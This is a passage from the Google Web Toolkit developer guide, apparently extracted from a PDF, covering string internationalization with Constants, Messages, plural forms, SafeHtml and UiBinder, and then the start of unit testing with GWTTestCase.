For existing applications that may not support the GWT locale client property, GWT offers dynamic string internationalization to easily integrate GWT internationalization. The Dictionary class lets your GWT application consume strings supplied by the host HTML page. This approach is convenient if your existing web server has a localization system that you do not wish to integrate with the static string internationalization methods. Instead, simply print your strings within the body of your HTML page as a JavaScript structure, and your GWT application can reference and display them to end users. Since it binds directly to the key/value pairs in the host HTML, whatever they may be, the Dictionary class is not sensitive to the GWT locale setting. Thus, the burden of generating localized strings is on your web server. Dynamic string localization allows you to look up localized strings defined in a host HTML page at runtime using stringbased keys. This approach is typically slower and larger than the static string approach, but does not require application code to be recompiled when messages are altered or the set of locales changes. Tip: The Dictionary class is completely dynamic, so it provides no static type checking, and invalid keys cannot be checked by the compiler. This is another reason we recommend using static string internationalization where possible.
4.12.4.
Java Annotations
The recommended approach for specifying the default values for Constants or Messages interfaces is using Java annotations. The advantage of this approach is that you can keep the values with the source, so when refactoring the interface or creating new methods in your IDE it is easier to keep things up to date. Also, if you are using a custom key generator or generating output files for translation, you need to use annotations. The annotations that apply everywhere are discussed here for annotations that are only used on Constants and Messages are discussed there.
Class Annotations
The following annotations apply to classes or interfaces: @DefaultLocale(String localeName) Specifies that text contained in this file is of the specified locale. If not specified, the default is en. @GeneratedFrom(String fileName) Indicates that this file was generated from the supplied file. Note that it is not required that this file name be resolvable at compile time, as this file may have been generated on a different machine, etc. if the generator does check the source file, such as for staleness, it must not give any warning if the file is not present or if the name is not resolvable. @GenerateKeys(String generatorFQCN) Requests that the keys for each method be generated with the specified generator (see below). If this annotation is not supplied, keys will be the name of the method, and if specified without a parameter it will default to the MD5 implementation. The specified generator class must implement the KeyGenerator interface. By specifying a fully-qualified class name, this will be extensible to other formats not in the GWT namespace the user just has to make sure the specified class is on the class path at compilation time. This allows integration with non-standard or internal tools that may use their own hash functions to coalesce duplicate translation strings between multiple applications or otherwise needed for compatibility with external tools. A string containing the fully-qualified class name is used instead of a class literal because the key generation algorithm is likely to pull in code that is not translatable, so cannot be seen directly in client code. If this annotation is not supplied, the key will be the simple name of the method.
341 / 469
@Generate(String[] formatFQCN, String filename, String[] locales) Requests that a message catalog file is generated during the compilation process. If the filename is not supplied, a default name based on the interface name is used. The output file is created under the -out directory. The format names are the fully-qualified class names which implement the MessageCatalogFormat interface. For example, this could generate an XLIFF or properties file based on the information contained in this file. Specific MessageCatalogFormat implementations may define additional annotations for additional parameters needed for that MessageCatalogFormat. If any locales are specified, only the listed locales are generated. If exactly one locale is listed, the filename supplied (or generated) will be used exactly; otherwise _locale will be added before the file extension. A string containing the fully-qualified class name is used instead of a class literal because the message catalog implementation is likely to pull in code that is not translatable, so cannot be seen directly in client code.
Method Annotations
The following annotations apply to methods: @Key(String key) Specifies the key to use in the external format for this particular method. If not supplied, it will be generated based on the @GenerateKeys annotation, discussed above. @Description(String desc) A description of the text. Note that this is not included in a hash of the text and depending on the file format may not be included in a way visible to a translator. @Meaning(String meaning) Supplies a meaning associated with this text. This information is provided to the translator to distinguish between different possible translations for example, orange might have meaning supplied as "the fruit" or "the color". Note that two messages with identical text but different meanings should have different keys, as they may be translated differently.
4.12.5.
Static string internationalization uses traditional Java .properties files to manage translating tags into localized values. These files may be placed into the same package as your main module class. They must be placed in the same package as their corresponding Constants/Messages subinterface definition file. Tip: Use the i18nCreator script to get started.
$ i18nCreator -eclipse Foo com.example.foo.client.FooConstants Created file src/com/example/foo/client/FooConstants.properties Created file FooConstants-i18n.launch Created file FooConstants-i18n
Both Constants and Messages use traditional Java properties files, with one notable difference: properties files used with GWT should be encoded as UTF-8 and may contain Unicode characters directly, avoiding the need for native2ascii. See the API documentation for the above interfaces for examples and formatting details. Many thanks to the Tapestry project for solving the problem of reading UTF-8 properties files in Tapestry's LocalizedProperties class. In order to use internationalized characters, make sure that your host HTML file contains the charset=utf8 content type in the meta tag in the header:
<meta http-equiv="content-type" content="text/html;charset=utf-8" />
You must also ensure that all relevant source and .properties files are set to be in the UTF-8 charset in your IDE.
342 / 469
4.12.6.
Constants
This example will walk through the process of creating a class of internationalized constant strings "hello, world" and "goodbye, world" in your GWT application. The example will create a Java interface named MyConstants that abstracts those strings. You can reference the MyConstants methods in your GWT code when you want to display one of those strings to the user and they will be translated appropriately for all locales that have matching .properties files. Begin by creating a default properties file called MyConstants.properties in your GWT project. You can place the file anywhere in your module's source path, but the .properties file and corresponding interface must be in the same package. It's fine to place the file in the same package as your module's entry point class.
helloWorld = hello, world goodbyeWorld = goodbye, world
You can also create a localized translation for each supported locale in separate properties files. The properties file must be named the same as our interface name, in our case MyConstants, with the appropriate suffix that indicates the locale setting. In this case, we localize for Spanish using the filename MyConstants_es.properties:
helloWorld = hola, mundo goodbyeWorld = adis, mundo
Now define an interface that abstracts those strings by extending the built-in Constants interface. Create a new Java interface in the same package where the .properties files were created. The method names must match the tag names uses in the .properties files:
public interface MyConstants extends Constants { String helloWorld(); String goodbyeWorld(); }
Tip: The i18nCreator tool automates the generation of Constants interface subinterfaces like the one above. The tool generates Java code so that you only need to maintain the .properties files. It also works for ConstantsWithLookup and Messages classes. Note that MyConstants is declared as an interface, so you cannot instantiate it directly with new. To use the internationalized constants, you create a Java instance of MyConstants using the GWT.create(Class) facility:
public void useMyConstants() { MyConstants myConstants = GWT.create(MyConstants.class); Window.alert(myConstants.helloWorld()); }
You don't need to worry about the Java implementation of your static string classes. Static string initialization uses a deferred binding generator which allows the GWT compiler to take care of automatically generating the Java code necessary to implement your Constants subinterface depending on the locale.
ConstantsWithLookup
The ConstantsWithLookup interface is identical to Constants except that the interface also includes a method to look up strings by property name, which facilitates dynamic binding to constants by name at runtime. ConstantsWithLookup can sometimes be useful in highly data-driven applications. One caveat: ConstantsWithLookup is less efficient than Constants because the compiler cannot discard unused constant methods, resulting in larger applications.
Using Annotations
The annotations discussed here are the ones specific to Constants and ConstantsWithLookup for shared annotations see the main Internationalization page.
343 / 469
Method Annotations
The following annotations apply to methods in a Constants subtype and must correspond to the return type of the method. They provide a type-safe way to reference constants, and can include Java compile-time constant references. @DefaultBooleanValue(boolean val) Sets the default value for a method which returns a boolean. @DefaultDoubleValue(double val) Sets the default value for a method which returns a double. @DefaultFloatValue(float val) Sets the default value for a method which returns a float. @DefaultIntValue(int val) Sets the default value for a method which returns a int. @DefaultStringArrayValue({String str, }) Sets the default value for a method which returns a String array. @DefaultStringMapValue({String key, String value, }) Sets the default value for a method which returns a Map<String,String> or a raw map (which will still be a String=>String map). The number of supplied values must be even, and the first entry of each pair is the key and the second is the value. @DefaultStringValue(String str) Sets the default value for a method which returns a String.
4.12.7. Overview
Messages
The Messages interface allows you to substitute parameters into messages and even to re-order those parameters for different locales as needed. The format of the messages in the properties files follows the specification in Java MessageFormat (note that the choice format type is not supported with some extensions). The interface you create will contain a Java method with parameters matching those specified in the format string. Here is an example Messages property value:
permissionDenied = Error {0}: User {1} Permission denied.
The following code implements an alert dialog by substituting values into the message:
344 / 469
public interface ErrorMessages extends Messages { String permissionDenied(int errorCode, String username); } ErrorMessages msgs = GWT.create(ErrorMessages.class) void permissionDenied(int errorVal, String loginId) { Window.alert(msgs.permissionDenied(errorVal, loginId)); }
Caution: Be advised that the rules for using quotes may be a bit confusing. Refer to the MessageFormat javadoc for more details.
An error is returned because the message template in the properties file expects three arguments, while the permissionDenied method can only supply two.
GWT-specific formats
In addition to the formatting supported by MessageFormat, GWT supports a number of extensions. {name,text} A "static argument", which is simply text, except that it appears in translation output as if it were a placeholder named name. text is always terminated by the next "}". This is useful to keep non-translated code out of what the translator sees, for example HTML markup:
@DefaultMessage("Welcome back, {startBold,<b>}{0}{endBold,</b>}")
{0,list} or {0,list,format...} Format a List or array using locale-specific punctuation. For example, in English, lists would be formatted like this:
345 / 469
# of Items 0 1 2 3
Note that only the locale-default separator and the logical conjuctive form is supported -- there is currently no way to produce a list like "a; b; or c". See the plurals documentation for how this interacts with plural support. The format following the list tag, if any, describes how each list element is formatted. Ie, {0,list} means every element is formatted as if by {0}, {0,list,number,#,###} as if by [0,number,#,###}, etc. {0,localdatetime,skeleton} Format a date/time in a locale-specific format using the supplied skeleton pattern. The order of the pattern characters doesn't matter, and spaces or other separators don't matter. The localized pattern will contain the same fields (but may change MMM into LLL for example) and the same count of each. If one of the predefined formats are not sufficient, you will be much better off using a skeleton pattern so you will include the items you want but still get a localized format. For example, if you used {0,date,MM/dd/yy} to format a date, you get exactly that pattern in every locale, which is going to cause confusion for those users who expect dd/MM/yy. Instead, you can use {0,localdatetime,MMddyy} and you will get properly localized patterns for each locale. {0,localdatetime,predef:PREDEF_NAME} Use a locale-specific predefined format -- see DateTimeFormat.PredefinedFormat for possible values, example: {0,localdatetime,predef:DATE_SHORT}. extra formatter arguments Some formatters accept additional arguments. These are added to the main format specification, separated by a colon -- for example: {0,list,number:curcode=USD,currency} says to use the default currency format for list elements, but use USD (US Dollars) for the currency code. You can also supply a dynamic argument, such as {0,localdatetime:tz=$tz,predef:DATE_FULL}, which says the timezone to use is supplied by a parameter TimeZone tz supplied to the method. Where supported, multiple arguments can be supplied like {0,format:arg1=val:arg2=val}. Currently supported arguments: Format number date, time, or localdatetime Argument Name curcode tz Argument Type String TimeZone Description Currency code to use for currency formatting Time zone to use for date/time formatting
346 / 469
Using Annotations
The annotations discussed here are the ones specific to Messages for shared annotations see the main Internationalization page.
Method Annotations
The following annotations apply to methods in a Messages subtype: @DefaultMessage(String message) Specifies the message string to be used for the default locale for this method, with all of the options above. If an @AlternateMessage annotation is present, this is the default text used when more specific forms do not apply for count messages in English, this would be the plural form instead of the singular form. @AlternateMessage({String form, String message, }) Specifies the text for alternate forms of the message. The supplied array of strings must be in pairs, with the first entry the name of an alternate form appropriate for the default locale, and the second being the message to use for that form. See the Plural Forms and Select Forms examples below.
Parameter Annotations
The following annotations apply to parameters of methods in a Messages subtype: @Example(String example) An example for this variable. Many translation tools will show this to the translator instead of the placeholder i.e., Hello {0} with @Example("John") will show as Hello John with "John" highlighted to indicate it should not be translated. @Optional Indicates that this parameter need not be present in all translations. If this annotation is not supplied, it is a compile-time error if the translated string being compiled does not include the parameter. @PluralCount Indicates that this parameter is used to select which form of text to use (ie, 1 widget vs. 2 widgets). The argument annotated must be int, short, an array, or a list (in the latter cases the size of the list is used as the count).
Plural Forms
The Messages interface also supports the use of plural forms. In English, you want to adjust the word being counted based on whether the count is 1 or not. For example:
You have one tree. You have 2 trees.
Other languages may have far more complex plural forms. Fortunately, GWT allows you to easily handle this problem as follows:
public interface MyMessages extends Messages { @DefaultMessage("You have {0} trees.") @AlternateMessage({"one", "You have one tree."}) String treeCount(@PluralCount int count); }
Then, myMessages.treeCount(1) returns "You have one tree." while myMessages.treeCount(2) returns "You have 2 trees."
347 / 469
Select Forms
Similar to plural forms above, you might need to choose messages based on something besides a count. For example, you might know the gender of a person referenced in the message ("{0} gave you her credits"), or you might want to support abbreviated and full versions of a message based on user preference.
public enum Gender { MALE, FEMALE, UNKNOWN } public interface MyMessages extends Messages { @DefaultMessage("{0} gave you their credits.") @AlternateMessage({ "MALE", "{0} gave you his credits.", "FEMALE", "{0} gave you her credits." }) String gaveCredits(String name, @Select Gender gender); }
The default message is used if no form matches, in this case if gender is null or UNKNOWN. @Select parameters may be integral primitives, Stings, booleans, or enums.
SafeHtml Messages
Sometimes, message formats you create include HTML markup, with the resulting messages intended for use in an HTML context, such as the content of an InlineHTML widget. If the message is parameterized and the value of a String-typed parameter is derived from untrusted input, the application is vulnerable to Cross-Site-Scripting (XSS) attacks. To avoid XSS vulnerabilities due to the use of messages in HTML contexts, you can declare methods in your Messages interfaces with a return type of SafeHtml:
public interface ErrorMessages extends Messages { @DefaultMessage("A <strong>{0} error</strong> has occurred: {1}.") SafeHtml errorHtml(String error, SafeHtml details); } ErrorMessages msgs = GWT.create(ErrorMessages.class) void showError(String error, SafeHtml details) { errorBar.setHTML(msgs.errorHtml(error, details)); errorBar.setVisible(true); }
For SafeHtml messages, the code generator generates code that is guaranteed to produce values that satisfy the SafeHtml type contract and are safe to use in an HTML context. Before a parameter's value is substituted into a message, the parameter's value is automatically HTML-escaped, unless the parameter's declared type is SafeHtml. In the above example, the error parameter is HTML escaped before substitution into the template, while the details parameter is not. The details parameter can be substituted into the message without escaping because the SafeHtml type contract guarantees that its value is indeed safe to use as HTML without further escaping. For more information on how to create SafeHtml values, refer to the SafeHtml Developer's Guide. In message formats of SafeHtml messages, parameters are not allowed inside of an HTML tag. For example, the following is not a valid SafeHml message format, because the {0} parameter appears inside a tag's attribute:
errorHtmlWithClass = A <span class="{0}">{1} error</span> has occurred.
For more information on working with SafeHtml values, see the SafeHtml Developer's Guide.
348 / 469
4.12.8. Overview
Plural Forms
Most languages alter the form of a word being counted based on the count. For example, in English:
You have 1 tree. You have 2 trees.
Other languages have different rules: In French, the singular form is used for 0 as well as 1 Arabic has 5 special plural forms in addition to the default Some languages don't have plural forms at all
GWT provides a way to choose different messages based on the count of something at runtime, using the Messages interface, and provides plural rules for hundreds of languages by default.
Example
First, an example Messages interface:
@DefaultLocale("en") // not required since this is the default public class MyMessages extends Messages { @DefaultMessage("There are {0,number} items in your cart.") @AlternateMessage({"one", "There is 1 item in your cart.") String cartItems(@PluralCount int itemCount); }
Note that the parameter which controls which plural form is used is marked with the @PluralCount annotation, and that the plural forms for the default language (en unless specified with @DefaultLocale are defined in the @AlternateMessage annotation. If your default language is not English, you may have a different set of plural forms here. Let's assume you have added the en, fr and ar locales to your module. Now you need translations for each of these locales (except en, which will be picked up from the annotations). Note: I am using English in these "translations" for clarity -- you would actually want to use real translations.
MyMessages_fr.properties cartItems=There are {0,number} items in your cart. cartItems[one]=There is {0,number} item in your cart.
Note that the "one" plural form in French is used for both 0 and 1, so you can't hard-code the count in the string like you can for English.
MyMessages_ar.properties cartItems=There are {0,number} items in your cart. cartItems[none]=There are no items in your cart. cartItems[one]=There is one item in your cart. cartItems[two]=There are two items in your cart. cartItems[few]=There are {0,number} items in your cart, which are few. cartItems[many]=There are {0,number} items in your cart, which are many.
The Arabic plural rules that GWT uses are: none - the count is 0 one - the count is 1 two - the count is 2 few - the last two digits are from 03-10 many - the last two digits are from 11-99 The default form is used for everything else, ie. 101, 202, etc.
349 / 469
The standards for how to represent plural forms in translations is still a work in progress. Properties files don't have any particular support, so we invented the [plural_form] syntax to specify them. Hopefully this will improve over time, and we can support more standard approaches to getting translated messages with plural forms back into GWT.
Exact Values
Sometimes you need to provide special messages, even if the grammar of the language doesn't require it. For example, it is generally better to say something like "You have no messages" rather than "You have 0 messages". You can specify that using a plural form "=N", such as:
public class MyMessages extends Messages { @DefaultMessage("There are {0,number} items in your cart.") @AlternateMessage({ "one", "There is 1 item in your cart.", "=0", "Your cart is empty.", ) String cartItems(@PluralCount int itemCount); }
Note the escaping of the equals sign, since that separates the key from the value in a properties file. See the next item for another use of Exact Values.
Offsets
In some cases, you may want to alter the count before applying the plural rules to it. For example, if you are saying "Bob, Joe, and 3 others ate pizza", you probably have a list of 5 people. You could specifically code subtracting that and choosing different messages based on the number of people, but it is much easier and likely to get better translations by keeping all the different messages together. You can do it like this:
public class MyMessages extends Messages { @DefaultMessage("{1}, {2} and {0} others are here.") @AlternateMessage({ "=0", "Nobody is here.", "=1", "{1} is here.", "=2", "{1} and {2} are here.", "one", "{1}, {2}, and one other are here.", ) String peopleHere(@PluralCount @Offset(2) String[] names, String name1, String name2); } ... String[] names; alert(peopleHere(names, names.length > 0 ? names[0] : null, names.length > 1 ? names[1] : null));
Note that you can pass in an array for a @PluralCount parameter -- its length is used for the count (java.util.List implementations work similarly). The @Offset annotation indicates that the supplied offset should be applied before looking up the correct plural rule. However, note that exact value matches are compared before the offset is applied. So, when the count is 0, "Nobody is here" is chosen; if the count is 3, "{1}, {2}, and one other are here" is chosen because 2 is subtracted from the count before looking up the plural form to use. BTW, we know it is somewhat klunky to have to pass in the names this way. In the future, we will add a way of referencing elements in the list/array from the placeholders, where you could simply call peopleHere(names).
350 / 469
Lists
This is slightly off-topic for plurals, but it is related. GWT supports formatting lists, using the locale-appropriate separators. For example:
public class MyMessages extends Messages { @DefaultMessage("Orders {0,list,number} are ready for pickup.") @AlternateMessage({ "=0", "No orders are ready for pickup.", "one", "Order {0,list,number} is ready for pickup." }) String ordersReady(@PluralCount List<Integer> orders); }
The format specifier {0,list,number} says that argument 0 is to be formatted as a list, with each element formatted as a number. The same format options are available as if it weren't an element in a list, so {0,list,number:curcode=USD,currency} would work too. As before, either arrays or java.util.List instances work fine, and the requirements of types for formatting remain the same as if it weren't a list. In English, the results would be: ordersReady(Arrays.asList()) => "No orders are ready for pickup." ordersReady(Arrays.asList(14)}) => "Order 14 is ready for pickup." ordersReady(Arrays.asList(14, 17)) => "Orders 14 and 17 are ready for pickup." ordersReady(Arrays.asList(14, 17, 21)) => "Orders 14, 17, and 21 are ready for pickup."
Note that GWT only knows about the default list separators used for a language, and that while you might want to say something like "a, b, or c", there is currently no way to express that.
4.12.9.
UiBinder
This document explores the internationalization features of UiBinder templates. More general information about UiBinder can be found in Declarative Layout with UiBinder. 1. 2. 3. 4. 5. 6. 7. 8. Background Bonjour, Tout Le Monde Simple HTML Tags Inside a Message Messages with Unclobberable Portions Messages with Values Computed at Runtime Messages Containing Widgets (HTMLPanel Only) HTML Attributes that Need Translation Words with Multiple Meanings
Background
UiBinder templates can be marked up for localization. You use the <ui:msg> and <ui:attribute> elements to indicate which portions of the template should be translated, then provide properties files with localized versions of the messages when building your app. As in the main UiBinder page, the rest of this page explains how to make your UI templates localizable through a series of typical use cases. Note: You will see a lot of parallels to working with the Messages system, and with good reason: UiBinder's I18n features are implemented by generating a hidden com.google.gwt.i18n.client.Messages interface for each template. Except for plural forms, anything you can do via Messages you should also be able to do in a template.
351 / 469
Tagged
<ui:UiBinder xmlns:ui='urn:ui:com.google.gwt.uibinder' ui:generateFormat='com.google.gwt.i18n.rebind.format.PropertiesFormat' ui:generateKeys="com.google.gwt.i18n.rebind.keygen.MD5KeyGenerator" ui:generateLocales="default"> <div><ui:msg description="Greeting">Hello, world.</ui:msg></div> </ui:UiBinder>
We've done two things here. We've configured UiBinder's I18N features by adding a few attributes to the root <ui:UiBinder> element, and we've tagged our text as being an individual message that needs translation. First look at our "Hello, world." text. By putting it in a <ui:msg> element we've identified it as a single piece of translatable text, a message. The message's description attribute will accompany the message on its way to the translator to explain its use. The description may well be the only bit of context the translator sees, so even though it's an optional attribute you really should always provide one. Now that we have something that needs to be translated, we set our configuration to say how it should be done via attributes on the root <ui:UiBinder> element. These ui:generate* attributes correspond to the arguments of LocalizableResource's @Generate annotation. Here's what they mean. ui:generateFormat We want a file in the java properties format to be generated. ui:generateKeys We want the property keys to be MD5 hashes of the message content, so that the translations will survive as the messages move around within the template. (And if we take some care with how we manage our translated properties files, a message that happens to be used in more than one template will only need to be translated once.) ui:generateLocales And we want the generated properties to be part of the default locale. (Read more about the default locale and fallback properties in Locales in GWT.) When you compile your application, pass the -extras argument to the gwt compiler to tell it to generate its "extra" auxiliary files. A properties file will be generated for each template, containing an entry for each message tagged for localization, something like:
# Generated from my.app.HelloWorldMyBinderImplGenMessages # for locale default # Description: Greeting 022A824F26735ED0582324BE34F3CAE1=Hello, world.
The names of the generated files are a bit unfortunate, based on the UiBinder interfaces you declare. For example, if this template is used by com.example.app.client.Hello.Binder; in a module named App; and you've run the gwt compiler with -extra /tmp/gwt-extras; you'll find the file in /tmp/gwtextras/com.example.app.App/com.example.app.client.HelloBinderImplGenMessages.prope rties. No kidding. Hopefully this will be cleaned up in a future release of the toolkit. Your translators can then create localized versions of this file that can sit next to your ui.xml file. Continuing the example at hand, a Mexican Spanish version of this properties file would be named HelloBinderImplGenMessages_es_MX.properties (note that the "com.example..." prefix is dropped).
352 / 469
You don't have to use md5 keys. If you prefer to create your own, the <ui:msg> element accepts a key attribute to let you do just that. On the other hand, if you stick with md5 keys you can gather all of your app's translations for a particular locale into a single file, rather than keeping them scattered throughout your code base. The magic name is LocalizableResource_<locale>.properties, and you must put it in package com/google/gwt/i18n/client. (This works because i18n property file lookup walks up the class inheritance tree, and all Messages interfaces descend from LocalizableResource.) Some projects use scripts to maintain these unified translation files. See this wiki entry from the puzzlebazar project for an example. There are are a couple of other I18N attributes that can be set on the <ui:UiBinder> element, corresponding to other Localizable annotations, but you'll rarely change them from their default values. ui:defaultLocale See @DefaultLocale for details ui:generateFilename See @Generate(fileName = "...") for details ui:baseMessagesInterface Sets the base interface to use for generated messages. The value must be the fully-qualified class name of an interface that extends Messages. You can then put whatever annotations you want there, making it easy to have company or project-wide settings that can be changed in just one place. You can still use the other attributes to override defaults inherited from that interface if necessary.
Tagged
<ui:msg>We <b>strongly</b> urge you to reconsider.</ui:msg>
Simple formatting is reasonable to put in front of a translator, and so UiBinder supports HTML in messages, not just text.
Tagged
<div> <ui:msg description="blurb"><span class="brand" ui:ph="brandedSpan">Colgate</span>, with MFP!<ui:ph name="trademark"><span class="tm">TM</span></ui:ph></ui:msg> </div>
Generated
# Description: blurb # 0=arg0 (Example: <span class='brand'>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span class='tm'>TM</span>) 6E8B421C6A7C1FEAE23FAA9D43C90D5E={0}Colgate{1}, with MFP\!{2}
353 / 469
There are two examples in here. First, you see a ui:ph attribute that can be added to any child of a ui:msg, to indicate that placeholders should be created to protect it from translators. Two placeholders are created, for the opening and closing tags of the element (in this case, brandedSpanOpen and brandedSpanClose). Second, we see an element, also named ui:ph, that can surround an arbitrary bit of markup to be protected in its entirety (in this case, the trademark placeholder). So, you have both an element to surround untranslatable runs: <ui:ph>don't translate</ui:ph>, and an attribute to put in arbitrary elements to hide their begin and end tags from translators, but keep their content as part of the translatable message: <span ui:ph>attribute</span>. Note that you can put the ui:ph attribute in any DOM element, it's not particular to <span>.
Tagged
<ui:msg description='closed for business message'> (closed <span ui:field='closingDate' /> through <span ui:field='reopeningDate'/>) </ui:msg>
Generated
# Description: closed for business message # 0=arg0 (Example: <span id=''>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span id=''>), 3=arg3 (Example: </span>) E30D43242E1AD2AC2EFA1AEEEFDFCC33=(closed {0}{1} through {2}{3})
There is good news and bad news here. The good news is that you don't have to add any ui:ph attributes or elements to protect the begin and end tags of the spans marked with ui:field attributes. The bad news is that there is nothing stopping the translator from sticking arbitrary things between those begin and end tags. (Notice {0}{1} and {2}{3}.) If that's a concern, you need to put the named spans inside <ui:ph> elements to make them opaque, like so: Tagged
<ui:msg> (closed <ui:ph name='closingDate' example="7/12/2008"><span ui:field="closingDate"/></ui:ph> through <ui:ph name='reopeningDate' example="7/12/2008"><span ui:field="reopeningDate"/></ui:ph>) </ui:msg>
Generated
# 0=arg0 (Example: 7/12/2008), 1=arg1 (Example: 7/12/2008) 53B9CF65553DFAA091435791E5C731E7=(closed {0} through {1})
The example attribute is optional, and allows you to give the translator a more useful explanation of what your placeholders are for.
354 / 469
Tagged
<g:HTMLPanel> <ui:msg>Meeting starts at <my:TimePicker ui:field="startPicker"/> and ends at <my:TimePicker ui:field="endPicker"/>. </ui:msg> </g:HTMLPanel> # 0=arg0 (Example: <span>), 1=arg1 (Example: </span>), 2=arg2 (Example: <span>), 3=arg3 (Example: </span>) 23CBEA252C9901BF84D757FAD4968289=Meeting starts at {0}{1} and ends at {2}{3}.
Note that there is no ui:ph attribute on the widgets. There's no need for them, as there is no ambiguity about what must be done when a widget shows up in the middle of a message. Note also that you can only do this kind of thing (widgets in messages) inside of an HTMLPanel, the only widget in the GWT collection that intermixes markup and child widgets. More than you wanted to know: You may have noticed that the message in the generated properties file has "too many" placeholders for each widget, which means the translator might introduce unwanted text into the spans that will be replaced with the widgets at runtime. If that happens, no harm will be done beyond wasting the translator's time, as the text will be lost when then widget is put in place. Your user won't see it. Things get even more interesting when you put a widget with text body inside a message in an HTMLPanel. (That is, a widget that implements HasText or HasHTML.) Original
<g:HTMLPanel> To do the thing, <g:Hyperlink targetHistoryToken="/doThe#thing">click here</g:Hyperlink> and massage vigorously. </g:HTMLPanel>
Tagged
<g:HTMLPanel> <ui:msg> To do the thing, <g:Hyperlink targetHistoryToken="/doThe#thing">click here</g:Hyperlink> and massage vigorously. </ui:msg> </g:HTMLPanel>
Generated
# 0=arg0 (Example: <span>), 1=arg1 (Example: </span>) 8EFBF967A3FEFE78C41C8A298562A094=To do the thing, {0}click here{1} and massage vigorously.
355 / 469
Tagged
<th title="Gross receipts"> <ui:attribute ui:name='title' ui:description='Tooltip text for gross column'/> <ui:msg description='name of gross column'>Gross</ui:msg> </th>
Tagged
Favorite Color: <ui:RadioButton name="color"><ui:msg>Red</ui:msg></ui:RadioButton> <ui:RadioButton name="color"><ui:msg meaning="the color"/>Orange</ui:msg></ui:RadioButton> Favorite Fruit: <ui:RadioButton name="fruit"><ui:msg>Apple</ui:msg></ui:RadioButton> <ui:RadioButton name="fruit"><ui:msg meaning="the fruit">Orange<ui:msg></ui:RadioButton>
Generated
# Meaning: the color 4404BE8C34552617D633271BBC1FAB07=Orange # Meaning: the fruit 7A6DCA1ACC86B4A7D7574CD6BDD4E0C1=Orange 9F6290F4436E5A2351F12E03B6433C3C=Apple EE38E4D5DD68C4E440825018D549CB47=Red
The punchline here is that a translator may well be working with no more context than the attributes you set on an individual message. And if you're set up to share a big pool of translations distinguished only by their MD5 hash sums, you may simply be unable to provide translations for the two flavors of Orange needed here. You can get around this by using the optional meaning attribute. Unlike description, a message's meaning actually affects its hash id.
356 / 469
4.13.1.
The bulk of this page is dedicated to explaining how to unit test your GWT code via the GWTTestCase class, which at the end of the day must pay performance penalties for running in a browser. But that's not always what you want to do. It will be well worth your effort to architect your app so that the bulk of your code has no idea that it will live in a browser. Code that you isolate this way can be tested in plain old JUnit test cases running in a JRE, and so execute much faster. The same good habits of separation of concerns, dependency injection and the like will benefit your GWT app just as they would any other, perhaps even more than usual. For some tips along these lines take a look at the Best Practices For Architecting Your GWT App talk given at Google I/O in May of 2009. And keep an eye on this site for more more articles in the same vein.
4.13.2.
This section will describe how to create and run a set of unit test cases for your GWT project. In order to use this facility, you must have the JUnit library installed on your system.
Using webAppCreator
The webAppCreator that GWT includes can generate a starter test case for you, plus ant targets and eclipse launch configs for testing in both development mode and production mode. For example, to create a starter application along with test cases in the directory fooApp, where module name is com.example.foo.Foo:
357 / 469
~/Foo> webAppCreator -out fooApp -junit /opt/eclipse/plugins/org.junit_3.8.1/junit.jar com.example.foo.Foo Created directory fooApp/src Created directory fooApp/war Created directory fooApp/war/WEB-INF Created directory fooApp/war/WEB-INF/lib Created directory fooApp/src/com/example/foo Created directory fooApp/src/com/example/foo/client Created directory fooApp/src/com/example/foo/server Created directory fooApp/test/com/example/foo/client Created file fooApp/src/com/example/foo/Foo.gwt.xml Created file fooApp/war/Foo.html Created file fooApp/war/Foo.css Created file fooApp/war/WEB-INF/web.xml Created file fooApp/src/com/example/foo/client/Foo.java Created file fooApp/src/com/example/foo/client/GreetingService.java Created file fooApp/src/com/example/foo/client/GreetingServiceAsync.java Created file fooApp/src/com/example/foo/server/GreetingServiceImpl.java Created file fooApp/build.xml Created file fooApp/README.txt Created file fooApp/test/com/example/foo/client/FooTest.java Created file fooApp/.project Created file fooApp/.classpath Created file fooApp/Foo.launch Created file fooApp/FooTest-dev.launch Created file fooApp/FooTest-prod.launch Created file fooApp/war/WEB-INF/lib/gwt-servlet.jar
Follow the instructions in the generated fooApp/README.txt file. You have two ways to run your tests: using ant or using Eclipse. There are ant targets ant test.dev and ant test.web for running your tests in development and production mode, respectively. Similarly, you can follow the instructions in the README.txt file to import your project in Eclipse or your favorite IDE, and use the launch configs FooTest-dev and FooTest-prod to run your tests in development and production mode using eclipse. As you keep adding your testing logic to the skeleton FooTest.java, you can continue using the above techniques to run your tests.
358 / 469
Tip: You do not need to create a separate module for every test case, and in fact will pay a startup penalty for every module you do use. In the example above, any test cases in com.example.foo.client (or any subpackage) can share the com.example.foo.Foo module. Suppose you had created a widget under the foo package, UpperCasingLabel, which ensures that the text it shows is all upper case. Here is how you might test it.
package com.example.foo.client; import com.google.gwt.junit.client.GWTTestCase; public class UpperCasingLabelTest extends GWTTestCase { /** * Specifies a module to use when running this test case. The returned * module must include the source for this class. * * @see com.google.gwt.junit.client.GWTTestCase#getModuleName() */ @Override public String getModuleName() { return "com.example.foo.Foo"; } public void testUpperCasingLabel() { UpperCasingLabel upperCasingLabel = new UpperCasingLabel(); upperCasingLabel.setText("foo"); assertEquals("FOO", upperCasingLabel.getText()); upperCasingLabel.setText("BAR"); assertEquals("BAR", upperCasingLabel.getText()); upperCasingLabel.setText("BaZ"); assertEquals("BAZ", upperCasingLabel.getText()); } }
Now, there are several ways to run your tests. Just look at the sample ant scripts or launch configs generated by webAppCreator, as in the previous subsection.
359 / 469
For example, to run tests in production mode (that is, run the tests afer they have been compiled into JavaScript), declare -Dgwt.args="-prod" as a JVM argument when invoking JUnit. To get a full list of supported options, declare -Dgwt.args="-help" (instead of running the test, help is printed to the console).
Point your browser to the specified URL, and the test will run. You may be prompted by the Google Web Toolkit Developer Plugin to accept the connection the first time the test is run. Manual-mode test targets are not generated by the webAppCreator tool, but you can easily create one by copying the test.prod ant target in the build.xml file to test.manual and adding -runStyle Manual:1 to the -Dgwt.args part. Manual mode can also be used for remote browser testing.
360 / 469
4.13.3.
Asynchronous Testing
